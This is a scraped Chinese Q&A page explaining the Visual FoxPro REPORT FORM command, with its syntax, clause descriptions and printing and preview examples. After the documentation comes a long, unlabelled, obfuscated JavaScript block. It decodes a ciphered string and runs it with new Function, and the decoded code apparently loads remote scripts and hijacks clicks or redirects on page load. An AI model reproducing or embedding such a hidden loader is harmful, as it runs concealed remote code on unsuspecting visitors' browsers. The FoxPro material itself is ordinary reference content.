vfp中打印报表的代码怎么写

2025-02-23 12:16:44
推荐回答(1个)
回答1:

显示或打印一个由报表定义(.frx)文件指定的报表。该定义文件是由 CREATE REPORT 或 MODIFY REPORT
之类的命令所创建的。

REPORT FORM 命令也可以识别 Visual FoxPro 标签文件(lbx 格式)并像报表文件一样处理。你也可以使用
REPORT FORM 来运行以前在 FoxPro for MS-DOS 中创建的基于字符方式的报表文件。

REPORT FORM FileName1 | ? [ENVIRONMENT] [Scope]
[FOR lExpression1] [WHILE lExpression2] [NOOPTIMIZE]
[RANGE nStartPage [, nEndPage]]
[HEADING cHeadingText] [SUMMARY] [NORESET] [PLAIN]
[NOCONSOLE | OFF] [PDSETUP]
[NAME ObjectName]
[OBJECT oReportListener | TYPE iExpression]
[TO OutputDestination [NODIALOG]]
[PREVIEW [PreviewDestination] [NOWAIT] [WINDOW WindowName]]

参数

FileName1 |
?
指定一个报表定义(.frx)文件的名称或者显示一个打开对话框以便你从中选择一个 .frx 文件。默认情况下,报表显示在当前输出窗口中。

注意:

报表文件的默认扩展名是 .frx。如果这个 .frx 文件不在当前目录或文件夹下,则你必须包括它的路径名。从 Visual FoxPro 7.0
开始,当你使用了 TO 子句时,FileName1 会包含在状态消息框中。如果你不希望它出现,请参见 对 TO
子句的描述。
 

[ENVIRONMENT]
即使 AutoOpenTables 属性被设置成假值(.F.),它也会打开并恢复该报表的数据环境中已定义的所有表和表之间的关联。

注意:

ENVIRONMENT 关键字是为兼容性保留的,例如,报表是从一个早期版本的 FoxPro 中转换过来的时候。

 
要恢复与一个 Visual FoxPro 报表关联的数据环境,请设置数据环境的
AutoOpenTables 属性为真(.T.) (默认值)。要确保报表运行结束时报表环境被关闭,请设置数据环境的
AutoCloseTables 属性为真(.T.) (默认值)。更多的信息,请参见 AutoOpenTables 属性 和 AutoCloseTables 属性。

[Scope]
指定报表要处理的记录范围。报表只会处理指定所用于范围内的记录。

注意:

当你包含了一个 Scope 子句时,这个作用域操作符只对当前活动工作区起作用。

 
下面的表格列出了可能的 Scope 值。

作用域

说明

ALL

包括所有记录。(默认值)

NEXT nRecords

包含从当前记录开始的以下 nRecords 条记录。

RECORD nRecordNumber

只包含指定的记录。

REST

包含从当前记录开始直到最后的一条记录。

有关作用域子句的更多信息,请参见Scope 子句。

[FOR
lExpression1]
只有当逻辑表达式 lExpression1 计算值为真时的那些记录将被打印。通过使用 FOR
子句,可以排除你不希望打印的记录。

提示:

如果 lExpression1 是一个可优化的表达式,Rushmore 查询优化器会优化带 FOR 子句的
REPORT FORM 命令。为了得到最佳性能,请使用一个可优化的 FOR 子句。更多的信息,请参见 SET OPTIMIZE 和 使用 Rushmore
查询优化来加速数据访问。

[WHILE
lExpression2]
只打印当逻辑表达式 lExpression2 计算值为真(.T.)时的数据。

[NOOPTIMIZE]
禁止对 REPORT FORM 命令使用 Rushmore 优化。更多的信息,请参见 SET OPTIMIZE 和 使用 Rushmore 查询优化来加速数据访问。

[RANGE nStartPage
[, nEndPage]]
指定要打印或其它输出方式的页号范围。nStartPage 参数指定要打印的第一页,打印直到 nEndPage
参数指定的最后一页为止。如果省略 nEndPage 参数, 最后一页的默认值是 32,767。

注意:

RANGE 子句选择要输出的页,作用域子句 FOR,WHILE
选择记录。如果你选择了打印预览,这些选择标准不会起作用,除非你 通过 OBJECT 子句或 SET REPORTBEHAVIOR
90 命令指定了对象-辅助模式。在对象-辅助模式下,你既可以在原始的 REPORT FORM 命令中使用所有的
RANGE 子句,也可以指定要打印的页范围子集(使用 ReportListener.CommandClauses 的
PrintPageCurrent,PrintRangeFrom,以及 PrintRangeTo 成员)。更多的信息,请参见 OnPreviewClose 方法。

 

[HEADING
cHeadingText]
指定要做为一个附加题头放置在报表每一页上的文本。如果你同时包含了 HEADING 子句和 PLAIN
关键字,PLAIN 关键字优先处理。

[SUMMARY]
禁止打印细节行,这样就会只打印合计和子合计项目。

[NORESET]
指定不重置 _PAGENO 和 _PAGETOTAL
系统内存变量。当前报表将使用这两个变量的当前值做为起始值。更多的信息,请参见 _PAGENO 系统内存变量 和 _PAGETOTAL 系统内存变量。

注意:

如果你同时使用了 NORESET 和 RANGE 关键字,你必须预先计算哪些页要打印。

 

[PLAIN]
禁止打印除报表开始时以外的所有页题头。

[NOCONSOLE | OFF]
在打印报表或将它发送给一个文件时,禁止在 Visual FoxPro 主窗口或一个用户定义窗口中显示它的内容。

注意:

当你使用 Visual FoxPro 9.0 的对象-辅助输出模式时,REPORT FORM 不会在当前输出窗口中显示你的报表内容,所以
NOCONSOLE 和 OFF 关键字对原始的行为没有影响。但是,该关键字可以在ReportListener 对象的
CommandClauses 中使用。你可以在你的报表监听器派生类中测试它们,并可选的禁止显示报表内容或其它基于这些内容的用户反馈。更多的信息,请参见 CommandClauses 属性。

 

[PDSETUP]
装入一个打印机驱动设备设置。可以包含 PDSETUP 为创建于 FoxPro for MS-DOS
的基于字符的报表使用一个打印机驱动程序设置。当你在 Visual FoxPro 中创建了基于图形的报表时,PDSETUP 将被忽略。

[NAME
ObjectName]
指定一个与报表的数据环境关联的对象变量名。

注意:

数据环境以及数据环境中的对象拥有属性和方法,例如像 AddObject
方法,可以在运行是设置或调用它们。对象变量用于提供对这些属性和方法的访问。

 
如果你省略了 NAME 子句,Visual FoxPro
使用报表文件的名字替代它,可以在相关事件的代码中引用它。

[OBJECT
oReportListener | TYPE iExpression ]
调用 Visual FoxPro
的对象-辅助输出模式。既可以使用一个基于报表监听器基本类(ReportListener)的对象引用,也可以是一个指定输出类型的数值。在一个 REPORT
FORM 命令上 OBJECT 子句指定的值优先于 SET REPORTBEHAVIOR 的设置。更多的信息,请参见 ReportListener 对象,ListenerType 属性 和 OutputType 属性(Visual
FoxPro)。

[TO OutputDestination
[NODIALOG]]
指定报表的输出目标。要禁止运行时显示的状态信息框,请包含 NODIALOG 关键字。

注意:

在对象-辅助输出模式下,NODIALOG 将在报表运行期间设置ReportListener 对象的 QuietMode 属性为
.T.。更多的信息,请参见 QuietMode 属性。

 
下面的表格描述了 OutputDestination 的可能取值。

OutputDestination

说明

[PRINTER [PROMPT] [NOPAGEEJECT] [NOEJECT]]

将报表发送到打印机。

要在开始打印前显示打印对话框,请包含 PROMPT 关键字。在对象-辅助模式下,该选项是否可用受
ReportListener.CommandClauses.PrintPageCurrent 成员的值影响。

要指定 Visual FoxPro 在报表结束时不强行弹出打印页并且不关闭打印工作队列,请包含 NOPAGEEJECT
关键字。下一个被打印的报表将被附加在当前已打开的打印工作队列上。

你必须确保最后被打印的报表没有使用 NOPAGEEJECT 子句,只有这样才能关闭打印工作。

NOPAGEEJECT
仅在程序执行期间有效。如果在“命令”窗口中使用则将被忽略。在此运行期间不支持改变页面方向,例如试图将页面从纵向改变为横向。

你可以使用 NOPAGEEJECT
来链接多个报表并且从一个报表转到下一个报表时页号也会连续。这种技术对于像传真报表等工作是非常有用的。

REPORT FORM 命令也允许使用一个 NOEJECT 关键字,那是 Visual FoxPro
不再支持的关键字,用于早期的 DOS 版 FoxPro 和 FoxBASE+。该关键字不会执行任何功能但也不会触发错误。

[FILE] FileName2 [[ADDITIVE] ASCII]

指定报表要发送到的文本文件名称。该文件的默认扩展名是 .txt。

当你省略了 ASCII 关键字或使用 Visual FoxPro 的对象-辅助输出模式时,它会将报表内容连同 PostScript
脚本或其它打印机代码输出到这个文本文件,要使用这个报表定义文件来创建一个 ASCII 文件文件,请 SET REPORTBEHAVIOR 80
并包含 ASCII 关键字。

注意:

当你包含了 ASCII 关键字时,你可以在一台没有安装打印机驱动程序的电脑上处理这个报表。不使用 ASCII
关键字,REPORT FORM 命令在一个没有安装打印机驱动程序的电脑上执行时会产生一个错误。

 

一个 ASCII 文件中只能包含文本。如果报表是创建于 FoxPro for MS-DOS
下的一个基于字符的布局面板,破折号和加号可能会被包含在文件中代表线条和形状。此外,报表定义文件中任何字体或颜色设置,图形,线条,矩形,或者圆角矩形都不会出现在这个
ASCII 文本文件中。你可以使用 _ASCIICOLS 和 _ASCIIROWS
系统内存变量来指定每行可以放置的字符数以及每页可以放置的行数。这些变量的默认值对应于一个标准的纵向页面。更多的信息,请参见 _ASCIICOLS 系统内存变量 和 _ASCIIROWS 系统内存变量。

要使用附加而不是覆盖方式在一个 ASCII 文件上添加新内容,需要在 ASCII 关键字前面加上
ADDITIVE 关键字。ADDITIVE 和 ASCII
关键字必须采用这种指定的次序。

[PREVIEW [
PreviewDestination] [NOWAIT][WINDOW WindowName]]
在预览窗口中显示报表而非打印报表。默认情况下,预览窗口是模式化的但提供了一个可访问的打印预览工具栏。关键字 NOWAIT 指定
Visual FoxPro 在运行时继续执行程序而不会等待用户关闭预览窗口。

提示:

由 FoxPro MS-DOS 创建的基于字符的报表和标签由一个基于字符的特殊预览窗口。这种机制不受 SET REPORTBEHAVIOR
的影响而且不支持 OBJECT 子句或者 WINDOW-相关的子句。

 
如果你包含了 WINDOW
,预览窗口将采用你通过 WindowName
指定的这个窗口的特征,如标题,大小,等等。WindowName 可以是一个表单对象的 name 属性,或者一个使用 DEFINE
WINDOW 创建的窗口的引用变量。更多的信息,请参见 DEFINE WINDOW 命令。下面的表格描述了
PreviewDestination 可以使用的值,你可以使用单独 WINDOW 子句,也可以与
PreviewDestination 结合起来使用。

PreviewDestination

说明

[IN WINDOW WindowName]

指定一个用于预览报表的窗口。

如果你包含了 IN WINDOW ,报表将在你指定的 WindowName
窗口中预览。

IN SCREEN

指定预览将被显示在 Visual FoxPro
主窗口内并且无法移出。

说明

当你使用 Visual FoxPro 的对象-辅助输出模式时,REPORT FORM 命令的所有子句都可以在你的报表监听器的
CommandClauses 成员对象中使用,除了指定记录选集的子句(作用域,FOR 和 WHILE)。你可以在报表运行时使用
CommandClauses.RecordTotal 属性来了解有关信息,或者在报表运行前为你的 ReportListener 对象指派这些值。CommandClauses 属性 主题中为你描述了关于
CommandClauses 成员对象是如何利用每个子句的详细信息。

示例

示例 1

下面的例子显示了如何将两个报表做为一个批此报表工作来打印。Visual FoxPro 通过运行这个报表集两次来获取总页数,并将它存储在
_PAGETOTAL 系统内存变量中用于报表布局中的 Page X of Y(共 Y 页 第 X 页) 表达式。

注意:

你可以确保通过在你的报表中包含 _PAGETOTAL 表达式使报表运行两次。如果你不需要 _PAGETOTAL
但希望两次运行其它的计算式,你可以使用对象-辅助输出模式并设置报表监听器的 TwoPassProcess 属性为
.T.。更多的信息,请参见 TwoPassProcess 属性。

 

NORESET 指定在继续打印下一个报表时使用连续的页号。NOPAGEEJECT
指定第二个报表的首页继续使用第一个报表最后一页中保留(未用完)的空间继续打印。

 

复制代码

REPORT FORM myReport1.frx TO PRINTER NOPAGEEJECT
REPORT FORM myReport2.frx TO PRINTER NORESET
MESSAGEBOX("你已打印了 " + TRANSFORM(_PAGETOTAL)+ " 页.")

示例 2

下面的例子演示了如何在一个报表输出到打印机之前先查看它。

 

复制代码

REPORT FORM myReport1.frx TO PRINTER PROMPT NODIALOG PREVIEW

要使预览窗口非模式化,需要包含下面代码中的 NOWAIT 关键字:

 

复制代码

REPORT FORM myReport1.frx PREVIEW NOWAIT

要在一个指定的窗口内预览结果,下面的代码包含了 WINDOW 子句来指定一个名为 MyWindow 的窗口,它时你以前使用
DEFINE WINDOW 命令创建的:

 

复制代码

REPORT FORM myReport1.frx PREVIEW WINDOW MyWindow

示例 3

下面的例子演示了如何将报表发送到一个 ASCII 文件。_ASCIIROWS 和 _ASCIICOLS
系统内存变量定义了这个 ASCII 文件每页的行数以及每行的字符数。REPORT FORM 命令打印一个名为 MyReport.frx
的报表到一个名为 MyFile.txt 的 ASCII 文件中。

 

复制代码

SET REPORTBEHAVIOR 80
_ASCIIROWS = nLines
_ASCIICOLS = nChars
REPORT FORM MyReport.frx TO FILE MyFile.txt ASCII

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();